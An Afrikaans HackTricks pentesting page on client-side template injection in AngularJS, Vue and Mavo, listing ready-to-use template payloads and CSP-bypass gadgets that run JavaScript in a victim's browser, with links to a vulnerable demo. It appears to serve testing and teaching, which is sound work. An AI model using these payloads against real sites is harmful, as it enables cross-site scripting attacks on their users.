hacktricks/pentesting-web/client-side-template-injection-csti.md

102 lines
6.8 KiB
Markdown

<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
# Opsomming
Dit is soos 'n [**Bedienerkant-sjablooninspuiting**](ssti-server-side-template-injection/) maar in die **kliënt**. Die **SSTI** kan jou toelaat om **kode uit te voer** op die afgeleë bediener, die **CSTI** kan jou toelaat om **arbitrêre JavaScript**-kode in die slagoffer se blaaier uit te voer.
**Toetsing** vir hierdie kwesbaarheid is baie **soortgelyk** as in die geval van **SSTI**, die tolk verwag **'n sjabloon** en sal dit uitvoer. Byvoorbeeld, met 'n lading soos `{{ 7-7 }}`, as die program **kwesbaar** is, sal jy 'n `0` sien, en indien nie, sal jy die oorspronklike sien: `{{ 7-7 }}`
# AngularJS
AngularJS is 'n wyd gebruikte JavaScript-raamwerk wat met HTML kommunikeer deur aantekeninge bekend as riglyne, 'n noemenswaardige een is **`ng-app`**. Hierdie riglyn maak dit vir AngularJS moontlik om die HTML-inhoud te verwerk, wat die uitvoering van JavaScript-uitdrukkings binne dubbele krulhakies moontlik maak.
In scenario's waar gebruikersinvoer dinamies in die HTML-lyf ingevoeg word met `ng-app` gemerk, is dit moontlik om arbitrêre JavaScript-kode uit te voer. Dit kan bereik word deur die sintaksis van AngularJS binne die inset te benut. Hieronder is voorbeelde wat demonstreer hoe JavaScript-kode uitgevoer kan word:
```javascript
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>
<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
```
Jy kan 'n baie **basiese aanlynvoorbeeld** van die kwesbaarheid in **AngularJS** vind by [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) en in **[Burp Suite Academy](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)**
{% hint style="danger" %}
[**Angular 1.6 het die sandput verwyder**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html#:\~:text=The%20Angular%20expression%20sandbox%20will,smaller%20and%20easier%20to%20maintain.\&text=Removing%20the%20expression%20sandbox%20does,surface%20of%20Angular%201%20applications.) so vanaf hierdie weergawe behoort 'n lading soos `{{constructor.constructor('alert(1)')()}}` of `<input ng-focus=$event.view.alert('XSS')>` te werk.
{% endhint %}
# VueJS
Jy kan 'n **kwesbare Vue**-implementering vind by [https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh)\
Werkende lading: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor\(%27alert\(%22foo%22\)%27\)\(\)%7D%7D)
En die **bronkode** van die kwesbare voorbeeld hier: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)
```markup
<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
```
'n Werklik goeie pos oor CSTI in VUE kan gevind word op [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
## **V3**
```
{{_openBlock.constructor('alert(1)')()}}
```
Krediet: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
## **V2**
```
{{constructor.constructor('alert(1)')()}}
```
Krediet: [Mario Heiderich](https://twitter.com/cure53berlin)
**Kyk na meer VUE-pakkette in** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected)
# Mavo
Pakkie:
```
[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]
```
**Meer payloads in** [**https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations**](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations)
# **Brute-Force Detection List**
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
<details>
<summary><strong>Leer AWS hakwerk vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>